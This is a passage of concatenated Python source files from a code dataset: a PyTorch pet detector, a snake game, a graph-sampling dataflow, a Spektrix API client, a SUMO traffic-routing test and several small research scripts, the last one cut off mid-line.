torch.no_grad():\n            for images, labels in val_loader:\n                images = images.to(device)\n                object_presence, bounding_box, species_probabilities = model(images)\n\n                # Compute loss\n                object_presence_loss = criterion(object_presence, labels['object_presence'].to(device))\n                bounding_box_loss = bbox_criterion(bounding_box, labels['bounding_box'].to(device))\n                species_loss = species_criterion(species_probabilities,\n                                                 torch.argmax(labels['species_probabilities'], dim=1).to(device))\n                loss = object_presence_loss + bounding_box_loss + species_loss\n\n                val_loss += loss.item() * images.size(0)\n\n            val_loss /= len(val_loader.dataset)\n\n        print(f\"Epoch [{epoch + 1}/{num_epochs}], Train Loss: {train_loss:.4f}, Val Loss: {val_loss:.4f}\")\n\n    return model\ndef test_model(model, test_loader, criterion):\n    device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n    model.to(device)\n    model.eval()\n\n    test_loss = 0.0\n    correct_predictions = 0\n    total_samples = 0\n\n    with torch.no_grad():\n        for images, labels in test_loader:\n            images = images.to(device)\n            labels = labels.to(device)\n\n            object_presence, bounding_box, species_probabilities = model(images)\n\n            # Compute loss\n            loss = criterion(object_presence, labels['object_presence'].to(device)) + \\\n                   bbox_criterion(bounding_box, labels['bounding_box'].to(device)) + \\\n                   species_criterion(species_probabilities,\n                                     torch.argmax(labels['species_probabilities'], dim=1).to(device))\n\n            test_loss += loss.item() * images.size(0)\n\n            # Count correct predictions\n            predicted_presence = (object_presence > 0.5).int()\n            correct_predictions += (predicted_presence == labels['object_presence']).sum().item()\n\n            total_samples += images.size(0)\n\n    test_loss /= len(test_loader.dataset)\n    accuracy = correct_predictions / total_samples\n\n    print(f\"Test Loss: {test_loss:.4f}, Accuracy: {accuracy * 100:.2f}%\")\n\n\n# Set device\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n# Define hyperparameters\nnum_epochs = 10\nbatch_size = 32\nlearning_rate = 0.001\n\n# Define transformations for input images\ntransform = transforms.Compose([\n    transforms.Resize((224, 224)),\n    transforms.ToTensor(),\n    transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\n])\n\n# Create custom dataset\ndataset = CustomDataset(root_dir='./dataset', transform=transform)\n\n# Split the dataset into training and validation sets\ntrain_size = int(0.8 * len(dataset))\nval_size = len(dataset) - train_size\ntrain_dataset, val_dataset = torch.utils.data.random_split(dataset, [train_size, val_size])\n\n# Create data loaders\ntrain_loader = DataLoader(train_dataset, batch_size=batch_size, shuffle=True)\nval_loader = DataLoader(val_dataset, batch_size=batch_size, shuffle=False)\n\n# Initialize the model\nmodel = CustomModel(num_species=9).to(device)\n\n# Define loss function and optimizer\ncriterion = nn.BCELoss()  # Binary cross-entropy loss for object presence\nbbox_criterion = nn.MSELoss()  # Mean squared error loss for bounding box regression\nspecies_criterion = nn.CrossEntropyLoss()  # Cross-entropy loss for species classification\noptimizer = optim.Adam(model.parameters(), lr=learning_rate)\n\n# Call the train_model function\ntrained_model = train_model(model, train_loader, val_loader, criterion, optimizer, num_epochs)\n\n# Save the trained model\ntorch.save(trained_model.state_dict(), 'trained_model.pth')\n\n\nimport torch\nimport torchvision.transforms as transforms\nfrom PIL import Image\nimport matplotlib.pyplot as plt\n\n# Define the path to your image\nimage_path = \"/content/chihuahua-g960eb0099_640.jpg\"\n\n# Load the image\nimage = Image.open(image_path).convert(\"RGB\")\n\n# Preprocess the image\ntransform = transforms.Compose([\n    transforms.Resize((245, 280)),\n    transforms.ToTensor(),\n])\ninput_image = transform(image).unsqueeze(0)\n\n# Load the trained model\nmodel.load_state_dict(torch.load(\"/content/trained_model.pth\"))\nmodel.to(torch.device(\"cuda\"))  # Move the model to the GPU device\nmodel.eval()\n\n# Move the input image tensor to the same device as the model\ninput_image = input_image.to(torch.device(\"cuda\"))\n\n# Make predictions\nwith torch.no_grad():\n    object_presence, bounding_box, species_probabilities = model(input_image)\n\n# Convert the tensor outputs to numpy arrays\nbounding_box = bounding_box.squeeze().cpu().numpy()\nspecies_probabilities = species_probabilities.squeeze().cpu().numpy()\n\n# Define the class labels for species\nspecies_labels = [\n    \"Abyssinian\", \"Birman\", \"Persian\",\n    \"american_bulldog\", \"american_pit_bull_terrier\",\n    \"basset_hound\", \"beagle\", \"chihuahua\", \"pomeranian\"\n]\n\n# Visualize the image with bounding box and predicted species\nplt.imshow(image)\nplt.axis(\"off\")\n\n# Draw bounding box\nxmin, ymin, xmax, ymax = bounding_box\nplt.gca().add_patch(plt.Rectangle((xmin, ymin), xmax - xmin, ymax - ymin,\n                                  fill=False, color=\"red\", linewidth=2))\n\n# Get the predicted species\npredicted_species = species_labels[species_probabilities.argmax()]\n\nplt.text(xmin, ymin, predicted_species, color=\"red\",\n         fontsize=8, bbox=dict(facecolor=\"white\", alpha=0.8))\n\n# Show the image with bounding box and predicted species\nplt.show()\n","repo_name":"EslamMohamed95/object-detector-and-identifier","sub_path":"object-detector-and-identifier-model_v3.py","file_name":"object-detector-and-identifier-model_v3.py","file_ext":"py","file_size_in_byte":12467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"22899954947","text":"from turtle import Screen\nfrom snake import Snake\nfrom food import Food\nfrom scoreboard import Scoreboard\nimport time\n\n# Setup the screen size, the background color, and the title of the window\nscreen = Screen()\nscreen.setup(width=600, height=600)\nscreen.bgcolor(\"black\")\nscreen.title(\"My Snake Game\")\nscreen.tracer(0)\n\n# Define the opjects for snake, food, and a scoreboard to keep the score.\nsnake = Snake()\nfood = Food()\nscoreboard = Scoreboard()\n\n# Setup the keypad to control the snake.\nscreen.listen()\nscreen.onkey(snake.up, \"Up\")\nscreen.onkey(snake.down, \"Down\")\nscreen.onkey(snake.right, \"Right\")\nscreen.onkey(snake.left, \"Left\")\n\n\n\n\n\ngame_is_on = True\nwhile game_is_on:\n\n# Update the screen every 0.1 second so the snake moves\n    screen.update()\n    time.sleep(0.1)\n\n    snake.move()\n\n    # Detect collision with food\n    if snake.head.distance(food) < 15:\n        food.refresh()\n        snake.extend()\n        scoreboard.update_score()\n\n    # Detect collision with wall\n    if abs(snake.head.xcor()) > 280 or abs(snake.head.ycor()) > 280:\n        # game_is_on = False\n        # scoreboard.game_over()\n        scoreboard.reset()\n        snake.reset()\n\n    # Detect collision with tail\n    for segment in snake.snake[1:]:\n        if snake.head.distance(segment) < 10:\n            # game_is_on = False\n            # scoreboard.game_over()\n            scoreboard.reset()\n            snake.reset()\n\n\n\n\n\n\n\n\n\nscreen.exitonclick()\n","repo_name":"TJMattLee/snake_game","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"27816131694","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow as tf\nimport tf_euler\nfrom tf_euler.python.dataflow.neighbor_dataflow import UniqueDataFlow\n\nclass SageDataFlow(UniqueDataFlow):\n    def __init__(self, fanouts, metapath,\n                 add_self_loops=True,\n                 max_id=-1,\n                 **kwargs):\n        super(SageDataFlow, self).__init__(num_hops=len(metapath),\n                                           add_self_loops=add_self_loops)\n        self.fanouts = fanouts\n        self.metapath = metapath\n        self.max_id = max_id\n\n    def get_neighbors(self, n_id):\n        neighbors = []\n        neighbor_src = []\n        for hop_edge_types, count in zip(self.metapath, self.fanouts):\n            n_id = tf.reshape(n_id, [-1])\n            one_neighbor, _w, _ = tf_euler.sample_neighbor(\n                n_id, hop_edge_types, count, default_node=self.max_id+1)\n            neighbors.append(tf.reshape(one_neighbor, [-1]))\n            node_src = tf.range(tf.size(n_id))\n            node_src = tf.tile(tf.reshape(node_src, [-1, 1]), [1, count])\n            node_src = tf.reshape(node_src, [-1])\n            neighbor_src.append(node_src)\n            new_n_id = tf.reshape(one_neighbor, [-1])\n            n_id = tf.concat([new_n_id, n_id], axis=0)\n            n_id, _ = tf.unique(tf.reshape(n_id, [-1]))\n        return neighbors, neighbor_src\n","repo_name":"alibaba/euler","sub_path":"tf_euler/python/dataflow/sage_dataflow.py","file_name":"sage_dataflow.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","stars":2865,"dataset":"github-code","pt":"47"}
{"seq_id":"74229399183","text":"from requests import Request, Session\nfrom json import dumps\nfrom json.decoder import JSONDecodeError\nfrom datetime import datetime\nfrom hashlib import sha1, md5\nimport hmac\nfrom base64 import b64encode, b64decode\n\n\nclass SpektrixCredentials(object):\n    def __init__(self, client_name, api_user, api_key):\n        self.client_name = client_name\n        self.api_user = api_user\n        self.api_key = api_key\n\n\nclass SpektrixAnonymous(object):\n    def __init__(self, client_name):\n        self.client_name = client_name\n        self.api_user = None\n        self.api_key = None\n\n\nclass SpektrixRequest(object):\n    def __init__(self, endpoint, credentials):\n        self.spektrix_api_user = credentials.api_user\n        self.spektrix_api_key = credentials.api_key\n        self.has_credentials = isinstance(credentials, SpektrixCredentials)\n\n        base_url = \"https://system.spektrix.com/\" + credentials.client_name + \"/api/v3/\"\n        self.url = base_url + endpoint\n\n    def get(self):\n        self.method = \"GET\"\n        response = self._make_request()\n        return response\n\n    def post(self, payload=None):\n        self.method = \"POST\"\n        response = self._make_request(payload)\n        return response\n\n    def patch(self, payload):\n        self.method = \"PATCH\"\n        response = self._make_request(payload)\n        return response\n\n    def put(self, payload):\n        self.method = \"PUT\"\n        response = self._make_request(payload)\n        return response\n\n    def delete(self, payload=None):\n        self.method = \"DELETE\"\n        response = self._make_request(payload)\n        return response\n\n    def _generate_auth_headers(self, payload=None):\n        if not self.has_credentials:\n            return {}\n\n        date = datetime.utcnow().strftime(\"%a, %d %b %Y %H:%M:%S GMT\")\n\n        string_to_sign = self.method + \"\\n\" + self.url + \"\\n\" + date\n\n        if self.method != \"GET\":\n            body_string = dumps(payload).encode(\"utf-8\")\n            body_string = md5(body_string).digest()\n            body_string = str(b64encode(body_string), \"utf-8\")\n\n            string_to_sign = string_to_sign + \"\\n\" + body_string\n\n        decoded_key = b64decode(self.spektrix_api_key)\n        string_to_sign = string_to_sign.encode(\"utf-8\")\n\n        signature = hmac.new(decoded_key, string_to_sign, sha1).digest()\n        signature = b64encode(signature).decode(\"utf-8\")\n\n        headers = {}\n        headers[\"Date\"] = date\n        headers[\"Authorization\"] = \"SpektrixAPI3 {}:{}\".format(\n            self.spektrix_api_user, signature\n        )\n\n        return headers\n\n    def _make_request(self, payload=None):\n        if payload == None:\n            # Spektrix assumes any non-GET request must have a body.\n            payload = {}\n        else:\n            payload = [payload]\n\n        headers = self._generate_auth_headers(payload)\n\n        session = Session()\n        req = Request(method=self.method, url=self.url, json=payload, headers=headers)\n\n        response = session.send(req.prepare())\n\n        response.raise_for_status()\n\n        try:\n            return response.json()\n        except JSONDecodeError:\n            # There is one endpoint which returns non-JSON content (instances/{}/status/detail)\n            return response.content\n","repo_name":"crowdengage/spektrixpython","sub_path":"spektrixpython/spektrixpython.py","file_name":"spektrixpython.py","file_ext":"py","file_size_in_byte":3263,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"47"}
{"seq_id":"36082555496","text":"import unittest\n\nfrom regions import Regions\n\nregionsHtml = \"\"\"\n<TD>\n   <select name=\"state\">\n    <OPTION value=\"World\" Selected>World</OPTION>\n    <OPTION value=\"North\" >Northern Hemisphere</OPTION>\n    <OPTION value=\"South\" >Southern Hemisphere</OPTION>\n    <optgroup label=\"Continent\">\n    <option value=\"Afr\">Africa</option>\n    <option value=\"Ames\">America (South)</option>\n    <option value=\"Amen\">America (North and Central)</option>\n    <option value=\"Anta\">Antarctica</option>\n    <option value=\"Asi\">Asia</option>\n    <option value=\"Eur\">Europe</option>\n    <option value=\"Pacs\">Australia and Pacific</option>\n    </optgroup>\n    <optgroup label=\"State\">\n      <!-- Esto sirve para poner como activo una opcion adecuada teniendo en cuenta lo obtenido por geoip -->\n<OPTION value='Afg' >Afghanistan</option>\n\"\"\"\n\nclass TestRegions(unittest.TestCase):\n    def test_get_regions(self):\n        \"\"\"\n        Test that we can parse the regions\n        \"\"\"\n        regions1 = Regions(regionsHtml)\n        regionsList = regions1.getRegions()\n\n        self.assertEqual(len(regionsList), 10)\n\n    def test_get_regions_names(self):\n        \"\"\"\n        Test that we can parse the region names\n        \"\"\"\n        regions1 = Regions(regionsHtml)\n        regionsList = regions1.getRegions()\n\n        self.assertEqual(regionsList[0][0], \"World\")\n        self.assertEqual(regionsList[0][1], \"World\")\n        self.assertEqual(regionsList[1][0], \"North\")\n        self.assertEqual(regionsList[1][1], \"Northern Hemisphere\")\n        self.assertEqual(regionsList[9][0], \"Pacs\")\n        self.assertEqual(regionsList[9][1], \"Australia and Pacific\")\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"Costa365/ExtremeWeather","sub_path":"backend/test_regions.py","file_name":"test_regions.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"3310592305","text":"from __future__ import absolute_import, division, print_function\n\n'''\nFunction: receive pkts, run act detection and send to next hop\n\nInput: GRPC packet stream, packet meta:\n        a list of {'box':[x0,y0,x1,y1], # in pixel position\n                    'id': object track id,\n                    'label': name of the object in str}\n\nInternal data: ServerPkt (in server/server_packet.py)\n\nOutputs: serialized GRPC packet (defined in network/data_packet)\n        packet meta: a list of {'box':[x0,y0,x1,y1], # in pixel position\n                                'id': object track id, (re-ided)\n                                'label': name of the object in str}\n'''\n\n\nimport sys\nimport os\nimport logging\nfrom time import time, sleep\nfrom multiprocessing import Process\nfrom threading import Thread\n\nimport config.const_act as const\nfrom server.server_packet_manager import ServerPktManager\nfrom server.action_spatial import SpatialActDetector\nfrom server.action_nn import NNActDetector\nfrom server.action_comp import CompActDetector\nfrom network.data_writer import DataWriter\nfrom network.socket_client import NetClient\nfrom network.socket_server import NetServer\nfrom network.utils import Q\n\n\n\"\"\"\nCreate result folder\n\"\"\"\nRES_FOLDER = 'res/{}/'.format(os.path.basename(__file__).split('.py')[0])\nif not os.path.exists(RES_FOLDER):\n    os.makedirs(RES_FOLDER)\nprint('Output to {}'.format(RES_FOLDER))\n\n\n\"\"\"\nMain function\n\"\"\"\ndef main(running):\n    server = NetServer(\n        name='act',\n        address=const.LOCAL_ADDR,\n        port=const.LOCAL_PORT,\n        buffer_size=const.QUEUE_SIZE,\n    )\n    server_proc = Process(target=server.run)\n    server_proc.start()\n\n    client = NetClient(\n        client_name='act',\n        server_addr=const.SERVER_ADDR,\n        buffer_size=const.QUEUE_SIZE,\n    )\n    if const.UPLOAD_DATA:\n        client_proc = Process(target=client.run)\n        client_proc.start()\n\n    data_savers = {}\n\n    tube_queue = Q(const.QUEUE_SIZE)\n    act_spatial_queue = Q(const.QUEUE_SIZE)\n    act_nn_queue = Q(const.QUEUE_SIZE)\n    act_comp_queue = Q(const.QUEUE_SIZE)\n    filter_queue = Q(const.QUEUE_SIZE)\n\n    tm = ServerPktManager(\n        in_queue=server.data_queue,\n        out_queue=tube_queue,\n        track_list=const.TRACK_LABELS,\n        overlap_list=const.ATTACH_LABELS,\n    )\n    tm_proc = Thread(target=tm.run)\n    tm_proc.deamon = True\n    tm_proc.start()\n\n    spatial_act = SpatialActDetector(\n        in_queue = tube_queue,\n        out_queue=act_spatial_queue,\n    )\n    spatial_proc = Process(target=spatial_act.run)\n    spatial_proc.deamon = True\n    spatial_proc.start()\n\n    nn_act = NNActDetector(\n        in_queue=act_spatial_queue,\n        out_queue=act_nn_queue,\n        model_path=const.NN_ACT_MODEL_PATH,\n        batch_size=const.NN_BATCH,\n        tube_size=const.TUBE_SIZE,\n        filter_queue=filter_queue,\n    )\n    nn_act_proc = Process(target=nn_act.run)\n    nn_act_proc.deamon = True\n    nn_act_proc.start()\n\n\n    comp_act = CompActDetector(\n        in_queue=act_nn_queue,\n        out_queue=act_comp_queue,\n        filter_queue=filter_queue,\n    )\n    comp_act_proc = Process(target=comp_act.run)\n    comp_act_proc.deamon = True\n    comp_act_proc.start()\n\n\n    out_queue = act_comp_queue\n    print('server starts')\n\n    while running[0]:\n        server_pkt = out_queue.read()\n        if server_pkt is None:\n            sleep(0.01)\n            continue\n\n        cid = server_pkt.cam_id\n        if cid not in data_savers:\n            data_savers[cid] = DataWriter(file_path=RES_FOLDER+'{}.npy'.format(cid))\n            print('creat data_saver for video {}'.format(cid))\n\n        logging.info(\"Cam-{}, Frame-{}, Acts-{}\".format(\n            server_pkt.cam_id,\n            server_pkt.get_first_frame_id(),\n            server_pkt.get_action_info()   \n        ))\n        logging.info(\"--------------------------------\")\n\n        data_pkts = server_pkt.to_data_pkts()\n        for p in data_pkts:\n            if const.UPLOAD_DATA:\n                client.send_data(p)\n\n            if const.SAVE_DATA:\n                data_savers[cid].save_data(frame_id=p.frame_id, meta=p.meta)\n\n    if const.SAVE_DATA:\n        for cid in data_savers:\n            data_savers[cid].save_to_file()\n\n    server.stop()\n    print(\"server finished!\")\n\n\nif __name__ == '__main__':\n    logging.basicConfig(filename='act_debug.log',\n                        format='%(asctime)s %(message)s',\n                        datefmt='%I:%M:%S ',\n                        filemode='w',\n                        level=logging.DEBUG)\n\n    running = [True]\n    th = Thread(target=main, args=(running,))\n    th.start()\n    while True:\n        try:\n            sleep(10)\n        except (KeyboardInterrupt, SystemExit):\n            running[0] = False\n            break\n    print('done')\n","repo_name":"USC-NSL/Caesar","sub_path":"main_act.py","file_name":"main_act.py","file_ext":"py","file_size_in_byte":4784,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"47"}
{"seq_id":"29419126908","text":"import penman\nfrom pathlib import Path\nfrom conllu import parse\nfrom penman.graph import Graph\nfrom penman.codec import PENMANCodec\nfrom conllu import parse_incr\nfrom conllu import parse\n\n\n\n\ndef target_node(conll_gold, grammatical_function):\n    '''\n    get the head information according to the gold annotation\n    :param conll_gold: gold conllu file\n    :return: a list of tuples (the head id, the head token, and the grammatical function of the head)\n    '''\n    head_tokens =[]\n    preds_node = []\n    for i, conll in enumerate(conll_gold):\n        tokens = [x for x in conll]\n        heads =[]\n        preds=[]\n        for token in conll:\n            if token['deprel'] == 'acl:relcl': #find the relative clauses first\n\n                head_id = int(token['head'])\n                head_info = [x for x in tokens if x['id'] == head_id][0]\n                head_xpos = head_info['xpos']\n                if head_xpos not in ['WDT', 'WP', 'WRB']:\n                    head_token = head_info['form']\n                    head_rel = [x[0] for x in head_info['deps'] if x[1]==token['id']]\n                    if head_rel==[]:\n                        head_rel =grammatical_function\n                    if head_rel[0] in grammatical_function or grammatical_function[0] in head_rel[0]: #TODO: find a better way to\n                        preds.append((token['id'], token['form']))\n                        head = (head_id, head_token)\n                        heads.append(head)\n        head_tokens.append(heads)\n        preds_node.append(preds)\n    return head_tokens, preds_node\n\ndef find_node(alignment, head_id, source_id):\n    '''\n    to find the node that represents the head token\n    :param alignment: the alignment document\n    :param head_id: the head_id returned from the target_node function\n    :return:\n    '''\n    assert len(alignment)==len(head_id)\n    head_nodes =[]\n    source_nodes =[]\n    for i, alignment_element in enumerate(alignment):\n\n        sentence = alignment_element.split('nodealignment=')[0].strip().split('\\n')\n        node_token_alignment = alignment_element.split('nodealignment=')[1][1:-2].strip().split(', ')\n        head_node = []\n        source_node =[]\n        token_id = [x.split('@@')[0] for x in node_token_alignment]\n        token_node = [x.split('@@')[-1] for x in node_token_alignment]\n        for j, token in enumerate(sentence):\n            for h in head_id[i]:\n\n                if h[1] in token.split('\\t')[1]:\n\n                    head_id[i].remove(h)\n                    nodes = [y for x, y in zip(token_id, token_node) if int(x)-1==j] #find the target node\n                    for x in nodes:\n                        head_node.append(x)\n\n            for k in source_id[i]:\n                if k[1] in token.split('\\t')[1]:\n\n                    source_id[i].remove(k)\n                    s_nodes = [y for x, y in zip(token_id, token_node) if int(x)-1==j] #find the target node\n                    for x in s_nodes:\n                        source_node.append(x)\n\n\n        head_nodes.append(head_node)\n        source_nodes.append(source_node)\n    return head_nodes, source_nodes\n\ndef find_reentrancies(pred_amr, head_nodes, source_nodes):\n    reentrancies = []\n    reentrancies_general = []\n    codec = PENMANCodec()\n    head_num =[]\n    source_num=[]\n    reen_num =[]\n    for i, x in enumerate(pred_amr):\n        drs_triple = codec.decode(x).triples\n        label_node_pair = {x[0]:x[2].replace('\\\"', '') for x in drs_triple if x[1]==':instance'}\n        to_node = [x[2] for x in drs_triple if x[1]!=':instance' and x[2].startswith('u_') ] #only works for amparser\n        # to_node_name = [label_node_pair[x[2]] for x in drs_triple if x[1]!=':instance' and x[2].startswith('u_')]\n        if len(to_node) != len(set(to_node)):\n            reentrancies_general.append(drs_triple)\n            reentrancy_node = list(set([label_node_pair[x] for x in to_node if to_node.count(x) > 1]))\n            reentrancy_to_node = [x for x in to_node if to_node.count(x)>1]\n            reentrancy_from_node = [label_node_pair[x[0]] for x in drs_triple if x[2] in reentrancy_to_node]\n            # print(reentrancy_node) #the node that has renentrancies\n            # print(head_nodes[i]) # the real node that should have reentrancies\n            overlap = [x for x in reentrancy_node if x in head_nodes[i]]\n            from_source = [x for x in reentrancy_from_node if x in source_nodes[i]]\n            if overlap and from_source:\n                reentrancies.append(drs_triple)\n                reen_num.append(i)\n        if head_nodes[i]:\n            head_num.append(i)\n        if source_nodes[i]:\n            source_num.append(i)\n    reentrency_perc = round(len(reentrancies)/len(pred_amr),3)\n    print(f'Num of amrs:\\t{len(pred_amr)}\\nnum of examples that receive reentrancies:\\t{len(reentrancies_general)}\\n'\n          f'num of examples in which the head node receives reentrancies:\\t {len(reentrancies)} ({reentrency_perc})\\n'\n          f'num of head tokens that receive a node: {len(head_num)}\\n'\n          f'num of source tokens that receive a node: {len(source_num)}')\n    print(head_num)\n    print(source_num)\n    print(reen_num)\n    print(len(set([x for x in source_num if x in head_num])))\n    print(len(reen_num))\n    print(len(set([x for x in reen_num if x in source_num and x in head_num])))\n\n\n\n\nif __name__== '__main__':\n    pred_amr = Path('output_gum/oc.txt').read_text().strip().split('\\n\\n')\n    alignment = Path('output_gum/alignment_oc.txt').read_text().strip().split('sentence=')[1:]\n    conll_gold = open('relative_gum/oc.conllu', 'r')\n    conll = [x for x in parse_incr(conll_gold)]\n    head_id, pred_id = target_node(conll, ['obj'])\n    print(pred_id)\n    head_nodes, source_nodes = find_node(alignment, head_id, pred_id)\n    # print(len(head_id))\n    # print(len(alignment))\n    # print(len(pred_amr))\n\n    print(head_nodes)\n    print(source_nodes)\n\n\n    find_reentrancies(pred_amr, head_nodes, source_nodes)","repo_name":"xiulinyang/relcl","sub_path":"reentrancy.py","file_name":"reentrancy.py","file_ext":"py","file_size_in_byte":5957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"16159032841","text":"def inorderTraversal(self, root: TreeNode) -> List[int]:\n    res = []\n    self.helper(root, res)\n    return res\n\ndef helper(self, root, res):\n    if root is not None:\n        if root.left is not None:\n            self.helper(root.left, res)\n        \n        res.append(root.val)\n\n        if root.right is not None:\n            self.helper(root.right, res)\n\ndef inorderTraversal_iter(self, root):\n\n    res = []\n    stack = []\n    curr = root\n        \n    while curr is not None or len(stack) != 0:\n        while curr is not None:\n            stack.append(curr)\n            curr = curr.left\n        curr = stack.pop()\n        res.append(curr.val)\n        curr = curr.right\n    \n    return res","repo_name":"snail15/AlgorithmPractice","sub_path":"LeetCode/Python/inorderTraversal.py","file_name":"inorderTraversal.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"38450140318","text":"'''\nThis test file needs the following files:\nSTR_SUMO.py, RouteController.py, Util.py, test.net.xml, test.rou.xml, myconfig.sumocfg and corresponding SUMO libraries.\n'''\nfrom core.STR_SUMO import StrSumo\nimport os\nimport sys\nfrom xml.dom.minidom import parse, parseString\nfrom core.Util import *\nfrom controller.RouteController import *\nfrom controller.DijkstraController import DijkstraPolicy\nfrom core.target_vehicles_generation_protocols import *\n\nif 'SUMO_HOME' in os.environ:\n    tools = os.path.join(os.environ['SUMO_HOME'], 'tools')\n    sys.path.append(tools)\nelse:\n    sys.exit(\"No environment variable SUMO_HOME!\")\n\nfrom sumolib import checkBinary\nimport traci\n\n\n# use vehicle generation protocols to generate vehicle list\ndef get_controlled_vehicles(route_filename, connection_info, \\\n    num_controlled_vehicles=10, num_uncontrolled_vehicles=20, pattern = 1):\n    '''\n    :param @route_filename <str>: the name of the route file to generate\n    :param @connection_info <object>: an object that includes the map inforamtion\n    :param @num_controlled_vehicles <int>: the number of vehicles controlled by the route controller\n    :param @num_uncontrolled_vehicles <int>: the number of vehicles not controlled by the route controller\n    :param @pattern <int>: one of four possible patterns. FORMAT:\n            -- CASES BEGIN --\n                #1. one start point, one destination for all target vehicles\n                #2. ranged start point, one destination for all target vehicles\n                #3. ranged start points, ranged destination for all target vehicles\n            -- CASES ENDS --\n    '''\n    vehicle_dict = {}\n    print(connection_info.net_filename)\n    generator = target_vehicles_generator(connection_info.net_filename)\n\n    # list of target vehicles is returned by generate_vehicles\n    vehicle_list = generator.generate_vehicles(num_controlled_vehicles, num_uncontrolled_vehicles, \\\n        pattern, route_filename, connection_info.net_filename)\n\n    for vehicle in vehicle_list:\n        vehicle_dict[str(vehicle.vehicle_id)] = vehicle\n\n    return vehicle_dict\n\ndef test_dijkstra_policy(vehicles):\n    print(\"Testing Dijkstra's Algorithm Route Controller\")\n    scheduler = DijkstraPolicy(init_connection_info)\n    run_simulation(scheduler, vehicles)\n\n\ndef run_simulation(scheduler, vehicles):\n\n    simulation = StrSumo(scheduler, init_connection_info, vehicles)\n\n    traci.start([sumo_binary, \"-c\", \"./configurations/myconfig.sumocfg\", \\\n                 \"--tripinfo-output\", \"./configurations/trips.trips.xml\", \\\n                 \"--fcd-output\", \"./configurations/testTrace.xml\"])\n\n    total_time, end_number, deadlines_missed = simulation.run()\n    print(\"Average timespan: {}, total vehicle number: {}\".format(str(total_time/end_number),\\\n        str(end_number)))\n    print(str(deadlines_missed) + ' deadlines missed.')\n\nif __name__ == \"__main__\":\n    sumo_binary = checkBinary('sumo-gui')\n    # sumo_binary = checkBinary('sumo')#use this line if you do not want the UI of SUMO\n\n    # parse config file for map file name\n    dom = parse(\"./configurations/myconfig.sumocfg\")\n\n    net_file_node = dom.getElementsByTagName('net-file')\n    net_file_attr = net_file_node[0].attributes\n\n    net_file = net_file_attr['value'].nodeValue\n    init_connection_info = ConnectionInfo(\"./configurations/\"+net_file)\n\n    route_file_node = dom.getElementsByTagName('route-files')\n    route_file_attr = route_file_node[0].attributes\n    route_file = \"./configurations/\"+route_file_attr['value'].nodeValue\n    vehicles = get_controlled_vehicles(route_file, init_connection_info, 10, 50)\n    #print the controlled vehicles generated\n    for vid, v in vehicles.items():\n        print(\"id: {}, destination: {}, start time:{}, deadline: {};\".format(vid, \\\n            v.destination, v.start_time, v.deadline))\n    test_dijkstra_policy(vehicles)\n","repo_name":"guangli-dai/Selfless-Traffic-Routing-Testbed","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3860,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"}
{"seq_id":"36527460128","text":"#!/usr/bin/env python3\n\n# This work is licensed under the terms of the MIT license.\n# For a copy, see <https://opensource.org/licenses/MIT>.\n#\n# Author: Konstantin Ivanchenko\n# Date: August 03, 2019\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\n\nfrom DatasetHandler import DatasetHandler\nfrom ModelHandler import ModelHandler\n\nfrom ImageHandler import ImageHandler\n\nfrom sklearn.model_selection import train_test_split as tts\n\nimport cv2\nfrom keras.preprocessing.image import array_to_img\n\nim_handler = ImageHandler()\n\nds_handler = DatasetHandler()\nds_handler.init_apollo_data_source()\nds_handler.read_frame_big_batch('Apollo')\n\nprint(ds_handler.data_paths_apollo_leftcam)\n\nmodel_train = False\nnew_model = False\n\n# TODO: uncomment to see augmentations\nimage_paths_l = ds_handler.data_paths_apollo_leftcam#[100]\nimage_paths_r = ds_handler.data_paths_apollo_rightcam\noutput_paths_l = ds_handler.label_paths_apollo_leftcam#[100]\noutput_paths_r = ds_handler.label_paths_apollo_rightcam\n#image_handler.augment_batch_visualize(image_paths, valid_paths)\n\nif len(image_paths_l) > len(image_paths_r):\n    del image_paths_l[len(image_paths_r):]\n    del output_paths_l[len(image_paths_r):]\nelif len(image_paths_l) < len(image_paths_r):\n    del image_paths_r[len(image_paths_l):]\n    del output_paths_r[len(image_paths_l):]\n\n\ntrain_input_l, valid_input_l, train_input_r, valid_input_r, train_output_l, valid_output_l, \\\ntrain_output_r, valid_output_r = tts(image_paths_l, image_paths_r, output_paths_l, output_paths_r,\n                                         test_size=0.01, random_state=5)\n\n\n# plt.imshow(o)\n\nif model_train:\n    if new_model:\n        model_handler = ModelHandler()\n        model_handler.get_model_parameters()\n        history = model_handler.model_fit(train_input_l, train_input_r, train_output_l, train_output_r,\n                                valid_input_l, valid_input_r, valid_output_l, valid_output_r)\n\n        model_handler.model_save()\n        model_handler.model_plot_result(history)\n    else:\n        model_handler = ModelHandler(load_from='model_x.h5')\n        model_handler.get_model_parameters()\n        history = model_handler.model_fit(train_input_l, train_input_r, train_output_l, train_output_r,\n                                          valid_input_l, valid_input_r, valid_output_l, valid_output_r)\n\n        model_handler.model_save()\n        model_handler.model_plot_result(history)\n\nelse:\n    model_handler = ModelHandler(load_from='model_x.h5')\n    model_handler.get_model_parameters()\n\n    i_batch = []\n    i_batch_size = 2\n    i_batch_start_ind = 20\n\n    for ind in range(i_batch_size):\n        path_i = image_paths_r[i_batch_start_ind+ind]\n        path_o = 